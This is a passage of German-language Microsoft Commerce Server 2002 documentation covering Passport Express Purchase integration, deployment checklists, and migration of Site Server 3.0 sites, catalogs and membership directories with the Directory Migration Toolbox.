  6. Die Händlerwebsite verwendet die zurückgegebenen Wallet-Daten, um die Bestellung abzuschließen.

Empfohlene Integrationsstrategie

Wenn Sie Passport Express Purchase wie empfohlen integrieren, lässt sich der Bestellvorgang weitestgehend vereinfachen. Da der Benutzer die Kreditkarten- und Adressinformationen auf der Wallet-Seite bereits überprüft hat, sollten Sie ihn nicht dazu auffordern, seine persönlichen Daten auf Ihrer Website erneut zu überprüfen. Validieren Sie die von der Passport Wallet-Site an Sie zurückgegebenen Daten auf beliebige Art und Weise, erfassen Sie zusätzlich benötigte Informationen, und zeigen Sie anschließend eine Seite an, auf der die Informationen zusammengefasst werden und die Benutzer ihre Bestellungen abschließend bestätigen können. Die von der Passport Wallet-Site bereitgestellten Informationen können erneut auf der Zusammenfassungsseite angezeigt werden (wobei z. B. die vollständige Kreditkartennummer von der Anzeige ausgenommen werden könnte), damit der Kunde sie noch einmal überprüfen kann.

Wichtig

  • Vermeiden Sie es, die von der Passport Wallet-Site zurückgegebenen Daten lediglich zur Anzeige von Standardinformationen auf einer Formularseite zu verwenden, die der Benutzer nicht überspringen kann. Dies würde dem eigentlichen Ziel von Passport, den Bestellvorgang zu beschleunigen, zuwiderlaufen.

Sie sollten zudem ein Co-Branding der Passport-Seiten in Erwägung ziehen, sodass diese direkt in Ihre Website übergehen. Wenn Sie sich bei Passport registrieren, können Sie den URL einer CCS-Datei (Customizable Style Sheet, CCS) angeben, in der Sie die Farben und Eigenschaften von nahezu allen Elementen für die Passport-Anmeldung, Registrierung und die Wallet-Seiten definieren können. Darüber hinaus können Sie in die meisten Wallet-Seiten eigene Inhalte einbringen, so z. B. sitespezifische Fragen. Auf diese Art und Weise können Sie beliebige zusätzliche Informationen erfassen, die Sie zum Abschließen der Bestellung auf der Passport Wallet-Seite benötigen, wodurch die Benutzer beim Zurückkehren zu Ihrer Website direkt zu einer Zusammenfassungsseite gelangen können.


Nächste Schritte bei der Integration mit Passport

Für eine erfolgreiche Integration des Passport Single Sign In-Authentifizierungsdienstes oder des Passport Express Purchase-Dienstes in eine Commerce Server-Website müssen Sie die folgenden Schritte ausführen:

  • Auf der Passport-Website erfahren Sie Näheres zu Passport und den bereitgestellten Diensten. Die Site enthält Whitepapers, Darstellungen, Implementierungsrichtlinien, Beispielcode sowie Informationen zu den Passport-Diskussionsgruppen und zur Weiterleitung von Fragen an das Passport-Team.
  • Melden Sie sich unter http://go.microsoft.com/fwlink/?LinkId=6740 als Passport-Site an. Anschließend können Sie das Passport-Software Development Kit (SDK) downloaden und sich mit dessen Funktionen vertraut machen.
  • Stellen Sie sicher, dass Ihre Website den für die Teilnahme an Passport-Websites erforderlichen Standardkriterien entspricht. Diese Standardkriterien umfassen bestimmte Datenschutz- sowie Sicherheitsrichtlinien usw.
  • Wenn Sie den Passport Express Purchase-Dienst nutzen möchten, fordern Sie ein Zertifikat von einer autorisierten Zertifizierungsstelle an. Da der Passport Express Purchase-Dienst die SSL-Technologie (Secure Socket Layer, SSL) für die Sicherheit verwendet, ist ein Zertifikat erforderlich.
  • Machen Sie sich mit dem im Commerce Server SDK bereitgestellten Passport Sitelet-Quellcode vertraut. Weitere Informationen finden Sie unter Software Development Kit (englisches Thema).


Bereitstellen der Site

Voraussetzung für die Bereitstellung einer Microsoft Commerce Server 2002-Website ist, dass Sie über die notwendige Hardware und Software verfügen und diese entsprechend konfigurieren. Außerdem müssen Sie Commerce Server 2002 installieren, die Website entpacken und Prozeduren zum Überwachen und Verwalten der Site implementieren. Dieser Abschnitt enthält Beispielbereitstellungskonfigurationen, Bereitstellungsanweisungen und Aspekte, die bei der Bereitstellung von Commerce Server 2002 berücksichtigt werden sollten.

Anweisungen zum Konfigurieren Ihrer Site zur Verwendung der Windows-Authentifizierung für Datenbanksicherheit finden Sie unter Bereitstellen von Commerce Server mithilfe der Windows-Authentifizierung.

Dieser Abschnitt beinhaltet folgende Themen:

  • Bereitstellungschecklisten. Beschreibt die Vorgänge, die vor Beginn des Bereitstellungsvorgangs abgeschlossen sein müssen.
  • Aktualisieren von einer früheren Version. Beschreibt, wie vorhandene Installationen von Commerce Server aktualisiert werden.
  • Planen der Bereitstellung. Enthält eine Anleitung zum Bereitstellen in drei primären Umgebungen, Konzepte für das Clustern und Überlegungen zur Verwendung von Firewalls.
  • Konfigurieren einer typischen Bereitstellung. Erläutert die unterschiedlichen Phasen bei der Konfiguration einer Standardbereitstellung, von der Konfiguration der Hardwarekomponenten und des Netzwerks bis hin zur Installation der Software.
  • Eigenständige Installation des Geschäftsanalysefeatures. Beschreibt die Installation von Commerce Server auf einem Computer unter Verwendung der Installationsoption Geschäftsanalyse.
  • Installation von Beispielkonfigurationen. Enthält Anweisungen zum Einrichten von Commerce Server 2002 in Beispielkonfigurationen.
  • Bereitstellung in verteilten Umgebungen. Auflistung der Abhängigkeiten beim Bereitstellen der einzelnen Komponenten von Commerce Server 2000 auf jeweils einem eigenen Datenbankcluster.
  • Sicherung der Site. Erklärt, wie Sie Sicherheitskopien der Site erstellen und die Site wiederherstellen.
  • Replizieren des Kataloginhalts. Erläutert das Replizieren des Kataloginhalts von einer Testumgebung in eine Produktionsumgebung.
  • Aktualisieren der Site. Erklärt, wie Sie Siteinhalte und Datenbanken nach der ersten Bereitstellung aktualisieren.
  • Verwenden von Site Packager. Beschreibt die Funktionen von Commerce Server Site Packager und erklärt die allgemeinen Regeln des Packens bzw. Entpackens einer Site. Außerdem wird Referenzmaterial für Site Packager aufgeführt.
  • Gewährleisten einer hohen Verfügbarkeit. Enthält Anleitungen dazu, wie Sie eine hohe Verfügbarkeit der Bereitstellung gewährleisten können.


Bereitstellen von Prüflisten

Bevor Sie Ihre Site bereitstellen, sollten Sie mit folgenden Prüflisten prüfen, ob Ihre Planung abgeschlossen ist.

Eine Prüfliste mit den Schritten, die zum Sichern der Site erforderlich sind, finden Sie unter Sicherheitscheckliste.

Dieser Abschnitt beinhaltet folgende Themen:

  • Prüflisten für die Entwicklung und Überprüfung der Site. Stellt eine Checkliste bereit, mit der Sie die Entwicklung und Prüfung Ihrer Site abschließen können.
  • Prüfliste für Geschäftsprozesse. Stellt eine Checkliste für die Planung und Implementierung Ihrer Geschäftsprozesse bereit.

Siehe auch

Planen der Bereitstellung

Planen der Commerce Server-Installation


Prüflisten für die Entwicklung und Überprüfung der Site

Bevor Sie Ihre Site bereitstellen, sollten Sie sich vergewissern, dass die Entwicklung und Prüfung Ihrer Site abgeschlossen ist. Prüfen Sie Folgendes:

  • Die Entwicklung der Site ist abgeschlossen.
  • Die Site ist gepackt.
  • Es wurde eine Liste von Siteressourcen erstellt.
  • Für die Siteserver wurden Namen festgelegt.
  • Es wurden Datenbanknamen, Benutzernamen und Kennwörter festgelegt.
  • Alle Testvorgänge sind abgeschlossen. Sie haben folgende Elemente überprüft: Inhalt, Browserkompatibilität, Leistung, Serverauslastung, Datenbanken, Suchabfragen, Antwortzeit für Abfragen, Gültigkeit und Vollständigkeit der Daten, Systemwiederherstellung, visuelle Konsistenz, Links und Router. Sie haben die Leistung der Site mithilfe des Web Application Stress Tools überprüft.
  • Von einer unabhängigen externen Einrichtung wurde eine vollständige Überprüfung der Sicherheit Ihrer Site vorgenommen. Derartige Überprüfungen stellen ein verlässliches Verfahren zur Erkennung von Sicherheitsrisiken dar.

Weitere Informationen zur Prüfung Ihrer Site finden Sie im Commerce Server 2000 Resource Kit.


Prüfliste für Geschäftsprozesse

Bevor Sie Ihre Site bereitstellen, sollten Sie sich vergewissern, dass Sie Ihre Geschäftsprozesse ausreichend geplant und implementiert haben. Prüfen Sie Folgendes:

  • Es wurden Workflows festgelegt und überprüft.
  • Die Systemadministratoren wurden einer einführenden Schulung unterzogen und die Geschäfts-Manager haben als primäre Nutzer von Commerce Server Business Desk das Lernprogramm von Business Desk ausgeführt.
  • Das Team für die Serverumgebung wurde aufgestellt, und es wurden Betriebsprozeduren festgelegt (beispielsweise Änderungsanforderungen, Änderungsprotokoll, Serveraktualisierungen, Wartungspläne und Prozeduren zum Eskalieren von Problemen).

Siehe auch

Planen der Geschäftsprozesspipelines


Aktualisieren von einer früheren Version

Commerce Server 2002 stellt Tools zur Verfügung, mit denen Sie Ihre Site Server 3.0-, Site Server 3.0 Commerce Edition- und Commerce Server 2000-Sites aktualisieren können. Siteentwickler können diese Tools an die Migrationsanforderungen Ihrer Site anpassen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Aktualisieren von Commerce Server 2000
  • Aktualisieren von Site Server 3.0
  • Migrieren des Membership-Verzeichnisses


Aktualisieren von CommerceServer2000

Feedback zu dieser Seite senden Commerce Server 2002

Aktualisieren von Commerce Server 2000

Informationen zum Aktualisieren von Commerce Server 2000 auf Commerce Server 2002 finden Sie unter Aktualisieren von Commerce Server 2000.


Aktualisieren von SiteServer3.0

Feedback zu dieser Seite senden Commerce Server 2002

Aktualisieren von Site Server 3.0

Commerce Server 2002 enthält mehrere Tools, die die Migration der Microsoft Site Server 3.0- oder Microsoft Site Server 3.0 Commerce Edition-Site zu Commerce Server 2002 ermöglichen. Diese Tools wurden für Siteentwickler konzipiert, die sie so anpassen können, dass sie den Migrationserfordernissen Ihrer Site entsprechen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Migrierte Site Server 3.0-Features. Beschreibt die in Commerce Server 2002 sowie die in anderen Microsoft-Produkten integrierten Features.
  • Planen einer Migration von Site Server zu Commerce Server 2002. Erklärt die Planungsstrategien für die Migration zu Commerce Server 2002.
  • Migrationstools: Übersicht. Beschreibt die Site Server 3.0-Migrationstools sowie deren Verwendung.
  • Migrationsdokumentation: Übersicht. Enthält den Speicherort der Migrationsdokumentation und erläutert die Unterschiede zwischen Pipelines und Katalogen in Site Server 3.0 und Commerce Server 2002.


Migrierte Site Server 3.0-Features

Commerce Server 2002 stellt einen Migrationspfad für die Features von Microsoft Site Server 3.0 und Microsoft Site Server 3.0 Commerce Edition (SSCE) zur Verfügung, die in Commerce Server 2002 integriert wurden.

Die Mehrzahl der Site Server 3.0-Features wurde in Commerce Server 2002 integriert; einige Features sind hingegen Bestandteil anderer Microsoft-Produkte. Die folgenden Tabellen listen die migrierten Features von Site Server 3.0 und SSCE auf und identifizieren die Produkte und Features, zu denen sie migriert wurden.

Features von Site Server 3.0 und Site Server 3.0 Commerce Edition (SSCE), die in Commerce Server 2002 integriert wurden

Site Server 3.0-Features | Commerce Server 2002-Features
Ad Server/Ad Manager | Content Selection Framework/Kampagnen-Manager
Analyse: Report Writer, Custom Import, Usage Import | Analyse: Berichte, Benutzerdefinierter Import, Data Warehouse, Geschäftsanalyse
Direct Mail | Direktsendungen
Pipelines | Pipelines
Online Store | Produktkatalogsystem
Personalization & Membership | Benutzerprofile
Site Vocabulary | Sitebegriffe
Rule Builder | Ausdrucks-Generator
Starter Sites | Lösungssites
Transaktionen | Transaktionen
Content Deployment- und Content Replication-Dienst | Commerce Server 2002 Site Packager (enthält Teile von Content Deployment und des Content Replication-Dienstes)

Features von Site Server 3.0 und Site Server 3.0 Commerce Edition (SSCE), die in andere Microsoft-Produkte integriert wurden

Site Server 3.0-Features | Microsoft-Produkte
Content Deployment- und Content Replication-Dienst | Microsoft Application Center 2000 (enthält Teile von Content Deployment und des Content Replication-Dienstes)
Commerce Interchange Pipeline | Microsoft BizTalk Server 2000
Internet Locator Service (ILS)/Dynamic Directory | Microsoft Windows 2000 – Site Server-ILS-Dienst
Suche: Index, Crawl, Skripts | Integriert in Microsoft SharePoint Portal Server
Knowledge Manager | Integriert in SharePoint Portal Server
Posting Acceptor | Microsoft WebDAV

Folgende Site Server 3.0-Features wurden weder in Commerce Server 2002 noch in andere Microsoft-Produkte integriert und werden daher nicht mehr unterstützt: Web Publishing-Assistent, Push (Active Channel Multicaster, Active Channel Server), Content Analyzer und Tag Tool.

Hinweis

  • In Version 5.0 der Internetinformationsdienste (IIS) haben sich die Standardeinstellungen für die Antwortpufferung geändert. In Version 4.0 war die Antwortpufferung standardmäßig deaktiviert, in Version 5.0 ist sie standardmäßig aktiviert. Diese Tatsache sollte bei ASP-Seiten, die von einer Site Server 3.0 Commerce Edition-Site zu einer Commerce Server 2002-Site migriert werden, beachtet werden.


Planen einer Migration von SiteServer zu CommerceServer2002

Feedback zu dieser Seite senden Commerce Server 2002

Planen einer Migration von Site Server zu Commerce Server 2002

Bei der Planung der Migration einer Site von Site Server 3.0 Commerce Edition zu Commerce Server 2002 sollte Folgendes beachtet werden:

  • Es ist nicht möglich, nacheinander einzelne Komponenten von Commerce Server 2002 zu migrieren.
  • Sie müssen eine neue Site erstellen, die erst nach der erfolgreichen Migration von Verhalten, Inhalt und Daten der neuen Site in die Produktionsumgebung verschoben wird.
  • Damit Ihre SSCE-Site erfolgreich zu Commerce Server 2002 verschoben werden kann, muss der Sitecode migriert werden.

Von den verschiedenen Strategien, die zur Planung einer erfolgreichen Migration zur Verfügung stehen, sollten Sie die folgenden beiden in Betracht ziehen: Parallele Webfarm und Dualboot.

Parallele Webfarm

Bei der parallelen Webfarm-Strategie müssen Commerce Server 2002 und Site Server während des gesamten Migrationsprozesses gleichzeitig nebeneinander von zwei verschiedenen Standorten ausgeführt werden. Beim Aufbau einer parallelen Webfarm wird die Funktionalität einer bestehenden SSCE-Site mithilfe von Commerce Server 2002-Technologien repliziert. Obwohl die Migration über eine parallele Webfarm ressourcenintensiv ist, bietet diese Migrationsmethode das beste Risikomanagement für Sites, die aktiv Sitestabilitätsrisiken verwalten.

Vorteile einer parallelen Webfarm:

  • Der Betrieb der SSCE-Site wird nicht gestört, bis die Commerce Server 2002-Site voll einsatzfähig ist und den Kunden zur Verfügung steht.
  • Funktionalität und Leistung der neuen Commerce Server 2002-Site können vollständig – unter den Bedingungen einer simulierten Benutzerbelastung – getestet werden. Dafür stehen Tools wie das Microsoft Web Application Stress-Tool zur Verfügung.
  • Die Migration von Sitecode und Sitedaten kann vollständig getestet werden, bevor die Site Benutzern zugänglich gemacht wird.
  • Alle Betriebsprozeduren können aufgebaut und dokumentiert werden, bevor die neue Commerce Server-Site ans Netz geht.

Nachteile einer parallelen Webfarm:

  • Ressourcenintensiv in Bezug auf Hardware, Speicherplatz und Netzwerkinfrastruktur.

Dualboot

Bei der Dualboot-Strategie wird eine neue Kopie von Microsoft Windows 2000 auf einem separaten Laufwerksystem Ihres SSCE-Servers installiert. Sobald das neue Betriebssystem installiert ist, können Sie Commerce Server 2002 auf der neuen Partition installieren. Sie müssen die Commerce Server 2002-Datenbanken auf einem separaten Server installieren, weil sich die SQL-Konfiguration für Commerce Server 2002 von der für SSCE unterscheidet.

Beispiel einer Dualboot-Strategie

Ein Server, auf dem SSCE läuft, besitzt z. B. folgende Laufwerkskonfiguration:

  • Laufwerk C: Betriebssystem
  • Laufwerk D: IIS, SSCE und Sitecode
  • Laufwerk E: IIS und Systemprotokollierung

Nach der Implementierung der Dualboot-Strategie und dem damit verbundenen Hinzufügen neuer Laufwerke hat Ihr Server z. B. folgenden Aufbau:

  • Laufwerk C: Betriebssystem
  • Laufwerk D: IIS, SSCE und Sitecode
  • Laufwerk E: IIS und Systemprotokollierung
  • Laufwerk F: Betriebssystem (Windows 2000, eingerichtet für Commerce Server 2002)
  • Laufwerk G: IIS, Commerce Server 2002 und Sitecode (Windows 2000, eingerichtet für Commerce Server 2002)
  • Laufwerk H: IIS und Systemprotokollierung (Windows 2000, eingerichtet für Commerce Server 2002)

In diesem Beispiel ist Ihr Server so konfiguriert, dass er entweder über Laufwerk C oder Laufwerk F gestartet wird, je nachdem, welche Site in Betrieb gehen soll.

Vorteile der Dualboot-Strategie:

  • Reduzierte Hardwareanforderungen.
  • Verwendung bestehender Netzwerkinfrastruktur.
  • Verwendung geprüfter Hardware, die die Geschäftsanforderungen erfüllt.

Nachteile der Dualboot-Strategie:

  • Es kann jeweils nur eine Site in Betrieb genommen werden. Dies kann eine SSCE-Site oder eine Commerce Server 2002-Site sein, jedoch nicht beide gleichzeitig.
  • Funktionalität und Leistung der neuen Commerce Server 2002-Site können nicht vollständig als Gesamtplattform getestet werden, ohne dass die gesamte SSCE-Site offline geschaltet und der Server in der Commerce Server 2002-Konfiguration neu gestartet wird.
  • Datenbanken müssen vor der Migration zu einem separaten Server migriert werden.


Migrationstools: Übersicht

Sie können die Commerce Server 2002-Migrationstools an Ihre Bedürfnisse anpassen. Zum Lieferumfang von Commerce Server 2002 gehören Quellcode sowie ein Software Development Kit (SDK), mit dem die Tools angepasst und erweitert werden können. Dieser Abschnitt enthält eine Übersicht über die Migrationstools sowie deren Verwendung.

Directory Migration Toolbox

Ad Server-Migrationstool

Directory Migration Toolbox

Die Directory Migration Toolbox ist eine Sammlung von Tools und von in C++ programmierten Component Object Model (COM)-Objekten. Dazu gehören folgende Objekte: MigrationMainObj, MigrationReadObj, MigrationWriteObj, MigrationModifyObj und MigrationLogObj. Verwenden Sie diese Objekte, um Benutzerdaten von Ihrem Membership-Verzeichnis in Site Server zur Profildatenbank in Commerce Server 2002 zu migrieren. Die Directory Migration Toolbox umfasst außerdem Quellcode, sodass sie an die Bedingungen eines bestehenden Membership-Verzeichnisses angepasst werden kann.

Die folgende Abbildung gibt eine Übersicht über die Funktionsweise der Migrationsobjekte.

Überblick über die Funktionsweise der Directory Migration-Tools

Eine Schlüsselkomponente der Directory Migration Toolbox ist das Directory Migration-Tool, welches die eigentliche Migration ausführt. Das Directory Migration-Tool vermittelt zwischen mehreren Instanzen des Echtzeitmodus und einer einzelnen Instanz bei Batchmodus-Implementationen. Diese Balance dient zur Verhinderung von Race-Bedingungen, falls verschiedene Instanzen des Directory Migration-Tools versuchen, dasselbe Konto zu migrieren. Das Directory Migration-Tool kann in zwei Modi verwendet werden:

  • Echtzeitmodus. Wird verwendet, um Benutzer zu migrieren, die versuchen, sich über die Datei Login.asp anzumelden. Der normale Login.asp-Code wird erweitert, sodass bei Authentifizierungsfehlern aufgrund eines nicht in der Datenbank enthaltenen Benutzerprofils das Migrationstool eine "Echtzeit"-Migration des Benutzerprofils auf das Profilsystem von Commerce Server 2002 durchführen kann. Sobald die Migration erfolgreich abgeschlossen ist, wird die Benutzerauthentifizierung durch die Datei Login.asp abgeschlossen, und die normale Verarbeitung wird fortgesetzt
  • Batchmodus. Wird verwendet, um Benutzer im Membership-Verzeichnis in den vom Commerce Server 2002-Profildienst verwendeten Profilspeicher zu migrieren. Dieser Modus bearbeitet die komplette Benutzerliste auf einem Standalone-Server. Nach Verarbeitung der Liste ist der gesamte Migrationsprozess abgeschlossen (bis auf mögliche Migrationsfehler, die zur Lösung protokolliert werden). Nach Lösung des fehlerverursachenden Problems wird der Migrationsprozess für die noch fehlenden Konten fortgesetzt, bis diese erfolgreich migriert sind.

Ad Server-Migrationstool

Das Ad Server-Migrationstool dient der Migration von Anzeigedaten von SSCE zu Commerce Server 2002. Dieses Tools trägt den Dateinamen Adservermigration.exe und befindet sich in folgendem Ordner: Microsoft Commerce Server 2002\SDK\Tools\SSCE Migration\Ad Server.

Das Ad Server-Migrationstool erstellt Ausdrücke zur Auswertung der Zielgruppenadressierung und verschiebt Anzeigen zwischen Websites. Dieses Tool verwendet auch aktuelle Ausdrücke, um den Prozess der Anzeigenauswahl zu steuern.

Siehe auch

Migrieren des Membership-Verzeichnisses


Migrationsdokumentation: Übersicht

Dieser Abschnitt enthält den Speicherort der Migrationsdokumentation und erläutert die Unterschiede zwischen Pipelines und Katalogen in Site Server 3.0 und Commerce Server 2002. Informationen zur Migration des Membership-Verzeichnisses finden Sie unter Migrieren des Membership-Verzeichnisses.

Pipelines

Die Commerce Server 2002-Pipelines sind in Bezug auf ihre Schnittstelle für Anwendungsprogrammierung (API) mit den Site Server 3.0 Commerce Edition-(SSCE)-Pipelines kompatibel. Pipelinekomponenten von Drittanbietern, die mit SSCE verwendet werden, funktionieren auch mit Commerce Server 2002, jedoch mit folgenden Ausnahmen:

  • Währung wurde in einen 64-Bit-Wert geändert (in SSCE war Währung ein 32-Bit-Wert).
  • Die Adress-/Versandinformationen können jetzt mehrere Lieferadressen enthalten.

Falls Ihre Drittanbieterkomponenten mit Pipelinedaten auf Wörterbuchobjektebene interagieren, werden diese Änderungen möglicherweise nicht in Ihre Site übernommen. Wenn Ihre Drittanbieterkomponenten jedoch mit beliebigen Pipelinedaten auf Datenbankebene (wo die Daten tatsächlich gespeichert werden) interagieren, sind Ihre Komponenten betroffen, da die Datenbankebene in Commerce Server 2002 geändert wurde.

Kataloge

Commerce Server 2002- und SSCE-Kataloge haben einen entscheidenden Unterschied. Der SSCE-Assistent hat nur einen Basiskatalog generiert, einen so genannten Onlinespeicher. Im Unterschied dazu sind Kataloge in Commerce Server 2002 komplexer und bieten größere Flexibilität. Bei der Mehrzahl der für Kunden bereitgestellten SSCE-Instanzen werden benutzerdefinierte Kataloge verwendet, bei denen die Entwicklung eines generischen Tools für die Migration zum Commerce Server 2002-Produktkatalogsystem ausgeschlossen ist.

Bevor Sie Ihren Onlinespeicher oder einen benutzerdefinierten Katalog zu einem Commerce Server 2002-Katalog migrieren, müssen Sie einen Katalog für Commerce Server 2002 erstellen. Vor dem Erstellen eines Katalogs für Commerce Server 2002 müssen Sie zunächst ein Katalogschema erstellen. Nach der Erstellung eines Katalogschemas erstellen Sie einen Katalog und füllen diesen mit Produkten auf.

Sie können folgende Strategien verwenden, um Ihren Onlinespeicher oder benutzerdefinierten Katalog zu einem Commerce Server 2002-Katalog zu migrieren:

  • Erstellen Sie eine XML-Datei mit Ihren Katalogdaten, und importieren Sie diese in das Commerce Server 2002-Produktkatalogsystem. Die XML-Datei muss ein Format besitzen, das vom Produktkatalogsystem importiert werden kann. Eine XML-Katalogdatei muss sowohl die Schemadefinition als auch die Katalogdaten enthalten.

    Eine andere Methode zur Feststellung des genauen XML-Formats für die zu importierenden Katalogdaten besteht darin, das gewünschte Katalogschema zu erstellen und es mit einigen Beispielprodukten zu füllen. Anschließend wird dieser Katalog im XML-Format exportiert und die dabei erhaltene XML-Datei näher untersucht. Die Daten Ihres Onlinespeichers oder benutzerdefinierten Katalogs müssen mit diesem Format übereinstimmen.

    Weitere Informationen über das XML-Format, das für das Produktkatalogsystem benötigt wird, finden Sie unter Catalog XML Structures (englisches Thema).

    Weitere Informationen zum Import einer bereits erstellten XML-Datei finden Sie unter Importieren einer XML-Katalogdatei.

  • Erstellen Sie eine durch Trennzeichen getrennte CSV-Datei mit Ihren Katalogdaten, und importieren Sie diese in das Commerce Server 2002-Produktkatalogsystem. Das Format der CSV-Datei muss vom Produktkatalogsystem importiert werden können und kompatibel mit dem Schema Ihres Commerce Server 2002-Katalogs sein.

    Weitere Informationen über das CSV-Format, das für das Produktkatalogsystem benötigt wird, finden Sie unter Catalog XML Structures (englisches Thema).

    Weitere Informationen über das CSV-Format, das für das Produktkatalogsystem benötigt wird, sowie über den Import einer bereits erstellten CSV-Datei finden Sie unter Importieren einer CSV-Katalogdatei.

  • Erstellen Sie ein Hilfsskript, das Katalogstruktur und -daten aus Ihrem Onlinespeicher bzw. Ihrem benutzerdefinierten Katalog ausliest. Verwenden Sie anschließend die Commerce Server 2002-Katalogobjekte, um einen Commerce Server 2002-Katalog mit dem gewünschten Schema zu erstellen und den Katalog mit Produktdaten aufzufüllen.

    Weitere Informationen zu Commerce Server 2002-Katalogobjekten finden Sie unter Product Catalog Objects (englisches Thema).

Siehe auch

Erstellen einer Katalogdefinition

Erstellen eines Basiskatalogs

Hinzufügen eines Produkts zu einem Katalog


Migrieren des Membership-Verzeichnisses

Die Directory Migration Toolbox stellt eine Sammlung von Komponenten dar, die für die Migration eines Microsoft Site Server 3.0-Mitgliederverzeichnisses in einen Benutzerprofilspeicher von Commerce Server 2002 verwendet werden können.

In diesem Abschnitt wird der Aufbau der Komponenten und die Vorgehensweise beschrieben, mit der das Membership-Verzeichnis migriert wird. Er ist für Systemadministratoren und Siteentwickler gedacht, die für die Migration einer Site auf der Basis von Site Server 3.0 nach Commerce Server 2002 verantwortlich sind. Bevor Sie die Directory Migration Toolbox verwenden, sollten Sie mit den Dokumentationen beider Produkte vertraut sein.

Dieser Abschnitt beinhaltet folgende Themen:

  • Informationen über die Directory Migration Toolbox. Beschreibt die Komponenten in der Directory Migration Toolbox.
  • Migrationsplanung. Beschreibt die Punkte, die vor der Migration zu berücksichtigen sind.
  • Vorbereiten der Migration. Erläutert, wie Active Directory-Gruppen im Profildatenspeicher im Voraus aufgefüllt und die Attribute im Membership-Verzeichnis den Attributen im Profildatenspeicher zugeordnet werden.
  • Starten des Migrationsprozesses. Erklärt, wie der Migrationsprozess gestartet wird.
  • Problembehandlung mithilfe der Migrationsprotokolldatei. Erläutert, wie mithilfe der Migrationsprotokolldatei Probleme behandelt werden können.
  • Überprüfen der erfolgreichen Migration. Erläutert, wie die korrekte Funktion des Migrationsprozesses überprüft werden kann.
  • Migration Utility Library. Beschreibt den Inhalt der Bibliotheksdatei MigUtil.
  • Beispiel-XML-Datei. Enthält eine Beispieldatei für ein Migrationsprofil im XML-Format.


Informationen über die Directory Migration Toolbox

Die Directory Migration Toolbox enthält die Komponenten, die für die Migration von Benutzern aus dem Site Server 3.0-Mitgliederverzeichnis in den Profildatenspeicher von Commerce Server 2002 verwendet werden können. Mithilfe der Komponenten der Directory Migration Toolbox können Quellcodes für Migrationskomponenten angepasst sowie Active Directory-Verzeichnisdienstgruppen im Profildatenspeicher im Voraus aufgefüllt werden. Darüber hinaus können Attribute im Membership-Verzeichnis Attributen im Profildatenspeicher zugeordnet sowie Profile aus dem Membership-Verzeichnis im Batchmodus oder im bedarfsgesteuerten Modus migriert werden, und es kann Code bearbeitet werden, der den Speicherort eines Benutzers in Active Directory angibt. Subgroup Manager ist ein Hilfsmittel zur Definition von Gruppenmitgliedschaften.

Dieser Abschnitt beinhaltet folgende Themen:

  • Quellcode für Migrationskomponenten
  • Groups Pre-Population-Tool
  • Migration ProfileBuilder-Tool
  • Directory Migration-Tool
  • Subgroup Manager


Quellcode für Migrationskomponenten

Die Directory Migration Toolbox umfasst kompilierte Versionen der Komponenten, die sofort für die Migration des Microsoft Site Server 3.0-Mitgliederverzeichnisses in den Profildatenspeicher von Commerce Server 2002 verwendet werden können. Zusätzlich enthält die Toolbox den Quellcode aller Komponenten, sodass diese bei Bedarf geändert werden können.

Der Quellcode für diese Komponenten ist im Ordner Laufwerk:\Programme\Microsoft Commerce Server\SDK\Tools\SSCE Migration\Membership gespeichert.

In der folgenden Tabelle werden die Unterordner des Ordners Membership aufgeführt und die Komponenten in jedem Unterordner beschrieben.

Unterordner | Beschreibung
\bin\release | Vorkompilierte Binärdateien der Directory Migration-Objekte und des Migrationstestclients.
\Client | C++-Quellcode für einen einfachen Client zur Migration eines einzelnen Benutzerprofils.
\GroupMigration | Quellcode in Microsoft Visual Basic für das Tool, das zum Ausfüllen von Active Directory-Gruppen im Voraus vor der Migration der Benutzprofile verwendet wird.
\include | Headerdateien zum Erstellen der Objekte.
\MigrationLogObj | C++-Quellcode für das MigrationLogObj-Objekt im Directory Migration Tool.
\MigrationMainObj | C++-Quellcode für das MigrationMainObj-Objekt.
\MigrationModifyObj | C++-Quellcode für das MigrationModifyObj-Objekt.
\MigrationReadObj | C++-Quellcode für das MigrationReadObj-Objekt.
\MigrationUtil | C++-Quellcode für die Migration Utility Library des Directory Migration-Tools.
\MigrationWriteObj | C++-Quellcode für das MigrationWriteObj-Objekt.
\ProfileBuilder | Quellcode in Visual Basic für das Migration ProfileBuilder-Tool, das zum Erstellen der XML-Konfigurationsdatei für die Objekte des Directory Migration-Tools verwendet wird.
\SubGroupManager | Quellcode in Visual Basic für ein Hilfsobjekt, das zur Bestimmung der Gruppe verwendet wird, zu der ein Benutzer gehört.

Die Datei Readme.htm im Ordner Membership enthält wichtige Informationen über die Directory Migration Toolbox für diese Version von Commerce Server.

Siehe auch

Migration Objects (englisches Thema)


Groups Pre-Population-Tool

Das Groups Pre-Population-Tool wird zum Auffüllen von Active Directory-Verzeichnisdienstgruppen im Voraus verwendet, wenn Sie in Ihrer Installation Gruppen verwenden. Sie können je nach Bedarf Gruppen in der Active Directory-Domäne oder der Gesamtstruktur erstellen. Da Sie zuerst Gruppen erstellen müssen, bevor Sie ihnen Benutzer hinzufügen können, führen Sie das Groups Pre-Population-Tool aus, bevor Sie Benutzer migrieren.

Durch das Auffüllen mit Active Directory-Gruppen im Voraus können Sie Zugriffssteuerungslisten (ACLs) für das Dateisystem einrichten, bevor Sie die Commerce Server-Site aktivieren.

Siehe auch

Ausführen des Groups Pre-Population-Tools


Migration ProfileBuilder-Tool

Verwenden Sie das Migration ProfileBuilder-Tool, um die Attribute aus dem Microsoft Site Server 3.0-Membership-Verzeichnis dem Profildatenspeicher von Commerce Server zuzuordnen.

Wenn Sie das Directory Migration-Tool ausführen, liest es eine XML-Datei, die die Benutzerattribute aus dem Membership-Verzeichnis den entsprechenden Positionen im Profildatenspeicher zuordnet.

Das Migration ProfileBuilder-Tool führt folgende Aufgaben aus:

  • Lesen der Benutzerattribute aus dem Membership-Verzeichnisschema
  • Lesen der Benutzerattribute aus dem Objektschema der Benutzerprofile
  • Erstellen der XML-Konfigurationsdatei, die vom Directory Migration-Tool gelesen wird

Hinweis

  • Um dieses Tool verwenden zu können, müssen Sie Administratorrechte haben, damit Sie alle Domänen der Active Directory-Gesamtstruktur anzeigen können.

Siehe auch

Ausführen des Migration ProfileBuilder-Tools


Directory Migration-Tool

Das Directory Migration-Tool kann in einem der folgenden zwei Modi ausgeführt werden:

  • Batchmodus. In diesem Modus werden eine Reihe aufeinander folgender Benutzer migriert.
  • Bedarfsgesteuerter Modus. In diesem Modus wird jeweils nur ein Benutzer auf bedarfsgesteuerter Basis migriert.

